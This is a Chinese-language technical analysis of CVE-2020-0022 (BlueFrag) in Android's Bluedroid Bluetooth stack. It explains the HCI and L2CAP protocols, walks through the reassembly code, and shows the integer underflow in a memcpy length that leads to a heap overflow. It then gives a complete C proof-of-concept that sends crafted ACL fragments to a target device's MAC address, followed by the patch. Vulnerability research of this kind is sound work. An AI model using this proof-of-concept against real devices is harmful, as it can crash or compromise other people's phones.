CVE-2020-0022漏洞分析

1 漏洞背景

CVE-2020-0022漏洞又称BlueFrag, 被评为严重漏洞, 该漏洞是出现在Bluedroid蓝牙协议的HCI层, 在Android8.0-9.0中可以RCE, Android10中可以DoS.

2 术语介绍

2.1 HCI协议

HCI(Host Control Interface)层位于蓝牙协议高层协议和底层协议之间, 为高层应用提供了一个统一访问HCI控制器的接口. 如下图:

img
img

HCI通过包的形式对传送的数据进行分片,分片后有三种包格式分别为: 命令包/数据包/事件包. 而数据包又分为两类: 异步无连接(ACL, Asynchronous Connectionless)和同步定向连接(SCO, Synchronous Connection Oriented). 前者主要用于同步语音传送(包括音乐等), 后者主要用于分组数据传送. 该漏洞发生在ACL连接, 所以这里只针对ACL展开解释.

ACL链路是定向发送数据包,它既支持对称连接,也支持不对称连接(既可以一对一,也可以一对多). 主设备负责控制链路带宽, 并决定每个从设备可以占用多少带宽和连接的对称性, 从设备只有被选中时才能传送数据. ACL链路也支持接收主设备发给所有从设备的广播消息. 包中每个字段的说明如下:

字段 说明
Handle Connection_Handle用于在主控制器上传输数据包或段
PB Flag 包边界和适应范围
BC Flag 广播标志
Data Total Length 以八位位组为单位的数据长度,包含高层协议data.

2.2 L2CAP协议

逻辑链路控制和适配协议(L2CAP, Logical Link Control and Adaptation Protocol), 位于HCI层之上, HCI适配层就是将L2CAP的包转化为ACL包, 其数据包格式如下:


数据包每个字段说明如下:

字段 说明
Length 2字节,表示信息有效负载的大小,不包括长度L2CAP头
Channel ID(CID) 2字节,用于标识目的信道的终端。通道ID的范围与正在发送数据包的设备相关
Information(Payload) 信息负载,长度为0到65535字节

2.3 分段和重组

分段(Fragmentation)是将L2CAP数据包切割成较小的部分, 供下层链路处理, 如L2CAP转ACL数据包; 重组(Reassembly)是将下层链路数据包合并为较大的数据包, 以供上层应用接收, 如ACL转L2CAP数据包.

3 漏洞原理

以Oreo8.1为例, 该漏洞位于/system/bt/hci/src/packet_fragmenter.ccreassemble_and_dispatch函数, 该函数是用于数据包分片的重组.

static void reassemble_and_dispatch(UNUSED_ATTR BT_HDR* packet) {
  if ((packet->event & MSG_EVT_MASK) == MSG_HC_TO_STACK_HCI_ACL) {
    uint8_t* stream = packet->data;
    uint16_t handle;
    uint16_t l2cap_length;
    uint16_t acl_length;
    
    // 获取handle, 和acl/l2cap数据段的长度
    STREAM_TO_UINT16(handle, stream);
    STREAM_TO_UINT16(acl_length, stream);
    STREAM_TO_UINT16(l2cap_length, stream);

    CHECK(acl_length == packet->len - HCI_ACL_PREAMBLE_SIZE);
    // 获取packet boundary的标志位
    uint8_t boundary_flag = GET_BOUNDARY_FLAG(handle);
    handle = handle & HANDLE_MASK;
    
    // 如果PB_Flag标志位表明是第一个ACL包, 则继续解析
    if (boundary_flag == START_PACKET_BOUNDARY) {
      // 通过全局的map, 判断当前的packet是否已经被处理过
      auto map_iter = partial_packets.find(handle);
      if (map_iter != partial_packets.end()) {
        LOG_WARN(LOG_TAG,
                 "%s found unfinished packet for handle with start packet. "
                 "Dropping old.",
                 __func__);

        BT_HDR* hdl = map_iter->second;
        partial_packets.erase(map_iter);
        buffer_allocator->free(hdl);
      }

      // 判断L2CAP数据包的长度是否正常
      if (acl_length < L2CAP_HEADER_SIZE) {
        LOG_WARN(LOG_TAG, "%s L2CAP packet too small (%d < %d). Dropping it.",
                 __func__, packet->len, L2CAP_HEADER_SIZE);
        buffer_allocator->free(packet);
        return;
      }

      // 计算完整的L2CAP数据包的长度, 包括: l2cap的payload长度, 数据包头部长度和HCI头部长度
      uint16_t full_length =
          l2cap_length + L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE;

      // Check for buffer overflow and that the full packet size + BT_HDR size
      // is less than the max buffer size
      if (check_uint16_overflow(l2cap_length,
                                (L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE)) ||
          ((full_length + sizeof(BT_HDR)) > BT_DEFAULT_BUFFER_SIZE)) {
        LOG_ERROR(LOG_TAG, "%s Dropping L2CAP packet with invalid length (%d).",
                  __func__, l2cap_length);
        buffer_allocator->free(packet);
        return;
      }

      // 判断当前l2cap头包中是否还有续包, 如果没有则直接调用reassembled函数解析package并返回.
      if (full_length <= packet->len) {
        if (full_length < packet->len)
          LOG_WARN(LOG_TAG,
                   "%s found l2cap full length %d less than the hci length %d.",
                   __func__, l2cap_length, packet->len);

        callbacks->reassembled(packet);
        return;
      }

      // 如果还有续包, 则重新分配一块新的内存用于packet中数据包的重组.
      BT_HDR* partial_packet =
          (BT_HDR*)buffer_allocator->alloc(full_length + sizeof(BT_HDR));
      partial_packet->event = packet->event;
      partial_packet->len = full_length;
      partial_packet->offset = packet->len;

      memcpy(partial_packet->data, packet->data, packet->len);

      // Update the ACL data size to indicate the full expected length
      stream = partial_packet->data;
      STREAM_SKIP_UINT16(stream);  // skip the handle
      UINT16_TO_STREAM(stream, full_length - HCI_ACL_PREAMBLE_SIZE);

      // 根据handle将l2cap存到全局的map中
      partial_packets[handle] = partial_packet;

      // Free the old packet buffer, since we don't need it anymore
      buffer_allocator->free(packet);
    } else { // 如果该包不为首包, 则进入这个分支
      // 判断后续packet是否属于本次链路的, 如果不属于则直接返回
      auto map_iter = partial_packets.find(handle);
      if (map_iter == partial_packets.end()) {
        LOG_WARN(LOG_TAG,
                 "%s got continuation for unknown packet. Dropping it.",
                 __func__);
        buffer_allocator->free(packet);
        return;
      }
      // 获取前一轮生成的partial_packet
      BT_HDR* partial_packet = map_iter->second;

      packet->offset = HCI_ACL_PREAMBLE_SIZE; // 4bytes
      uint16_t projected_offset =
          partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);
      if (projected_offset >
          partial_packet->len) {  // len stores the expected length
        LOG_WARN(LOG_TAG,
                 "%s got packet which would exceed expected length of %d. "
                 "Truncating.",
                 __func__, partial_packet->len);
        packet->len = partial_packet->len - partial_packet->offset;
        projected_offset = partial_packet->len;
      }

      // 漏洞点
      memcpy(partial_packet->data + partial_packet->offset,
             packet->data + packet->offset, packet->len - packet->offset);

      // Free the old packet buffer, since we don't need it anymore
      buffer_allocator->free(packet);
      partial_packet->offset = projected_offset;

      if (partial_packet->offset == partial_packet->len) {
        partial_packets.erase(handle);
        partial_packet->offset = 0;
        callbacks->reassembled(partial_packet);
      }
    }
  } else {
    callbacks->reassembled(packet);
  }
}

漏洞点主要位于下面代码:

      if (projected_offset >
          partial_packet->len) {  // len stores the expected length
        LOG_WARN(LOG_TAG,
                 "%s got packet which would exceed expected length of %d. "
                 "Truncating.",
                 __func__, partial_packet->len);
        // 相减可能使packet->len小于4byte
        packet->len = partial_packet->len - partial_packet->offset;
        projected_offset = partial_packet->len;
      }

      // 漏洞点
      memcpy(partial_packet->data + partial_packet->offset,
             packet->data + packet->offset, packet->len - packet->offset);

memcpy将ACL的packet->datacopy到L2CAP的partial_packet->data中, 源地址指针和目的地址指针都没有问题, memcpy的第三个参数, 即内存拷贝的长度有问题, packet->len长度可能小于packet->offset, 即可能小于4byte, 则packet->len - packet->offset相减为负数, 而memcpy第三个参数是无符号整型(size_t型), 则负数被视为一个很大的整数, 由整数溢出造成堆溢出.

4 POC

/*
 * gcc -lbluetooth poc.c -o poc
 * sudo ./poc MAC_ADDR
 */


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/uio.h>


int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t);

int main(int argc,char **argv) {
    bdaddr_t dst_addr;
    if (argc != 2){
        printf("usage: ./poc MAC_ADDR");
    exit(1);
    }
    str2ba(argv[1], &dst_addr);
    struct hci_dev_info di;

    // Get HCI Socket
    printf("\nCreating HCI socket...\n");
    int hci_device_id = hci_get_route(NULL);
    int hci_socket = hci_open_dev(hci_device_id);
    if(hci_devinfo(hci_device_id,&di)< 0){
        perror("devinfo");
    exit(1);
    }
    uint16_t hci_handle;
    // -------- L2CAP Socket --------
    // local addr
    struct l2cap_conninfo l2_conninfo;
    int l2_sock;
    struct sockaddr_l2 laddr, raddr;
    laddr.l2_family = AF_BLUETOOTH;
    laddr.l2_bdaddr = di.bdaddr;
    laddr.l2_psm = htobs(0x1001);
    laddr.l2_cid = htobs(0x0040);

    // remote addr
    memset(&raddr, 0, sizeof(raddr));
    raddr.l2_family = AF_BLUETOOTH;
    raddr.l2_bdaddr = dst_addr;

    // create socket 
    printf("\nCreating l2cap socket...\n");
    if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
        perror("create l2cap socket");
    exit(1);
    }
    // bind and connect
    bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
    if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
        perror("connect");
    exit(1);
    }
    socklen_t l2_conninfolen = sizeof(l2_conninfo);
    getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen);
    hci_handle = l2_conninfo.hci_handle;
    printf("fuck%d", hci_handle);

    // -------- L2CAP Socket --------

    // HCI Connect
    printf("\nCreating a HCI BLE connection...\n");
    printf("\nPrepare to send packet\n");
    uint16_t datalen = 33;
    uint16_t _bs_l2cap_len = htobs(datalen);
    uint16_t _bs_cid = htobs(0x0001);
    uint8_t packet[4 + datalen + 0x1000];
    memcpy(&packet[0],&_bs_l2cap_len,2);
    memcpy(&packet[2],&_bs_cid,2);
    memset(&packet[4], 0x99, datalen+0x1000);
    int fl = 36;
    int i =0 ;
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , fl,0x2, fl ); 
    i+=fl;
    printf("\nSent fisrt packet\n");
    hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 300,0x1, 300); 

    printf("\nClosing HCI socket...\n");
    close(hci_socket);
    printf("\nClosing l2cap socket...\n");
    close(l2_sock);
    return 0;
}

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){
    uint8_t type = HCI_ACLDATA_PKT;
    uint16_t BCflag = 0x0000;               // Broadcast flag
    //uint16_t PBflag = 0x0002;               // Packet Boundary flag
    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;       
    hci_acl_hdr hd;
    hd.handle = htobs(acl_handle_pack(hci_handle, flags));  
    //hd.dlen = (data_length);
    hd.dlen = dlen;
    struct iovec iv[3];
    int ivn = 3;

    iv[0].iov_base = &type;                 // Type of operation
    iv[0].iov_len = 1;                      // Size of ACL operation flag
    iv[1].iov_base = &hd;                   // Handle info + flags
    iv[1].iov_len = HCI_ACL_HDR_SIZE;       // L2CAP header length + data length
    iv[2].iov_base = data;                  // L2CAP header + data
    iv[2].iov_len = (data_length);          // L2CAP header length + data length

    while (writev(hci_socket, iv, ivn) < 0) {
        if (errno == EAGAIN || errno == EINTR)
            continue;
    perror("writev");
        return -1;
    }
    return 0;
}

5 Patch

@@ -221,7 +221,8 @@
                  "%s got packet which would exceed expected length of %d. "
                  "Truncating.",
                  __func__, partial_packet->len);
-        packet->len = partial_packet->len - partial_packet->offset;
+        packet->len =
+            (partial_packet->len - partial_packet->offset) + packet->offset;
         projected_offset = partial_packet->len;
       }

6 参考链接

6.1 漏洞相关

6.2 协议相关:

6.3 源码下载

git clone https://android.googlesource.com/platform/system/bt
git reset --hard 3cb7149d8fed2d7d77ceaa95bf845224c4db3baf

推荐阅读更多精彩内容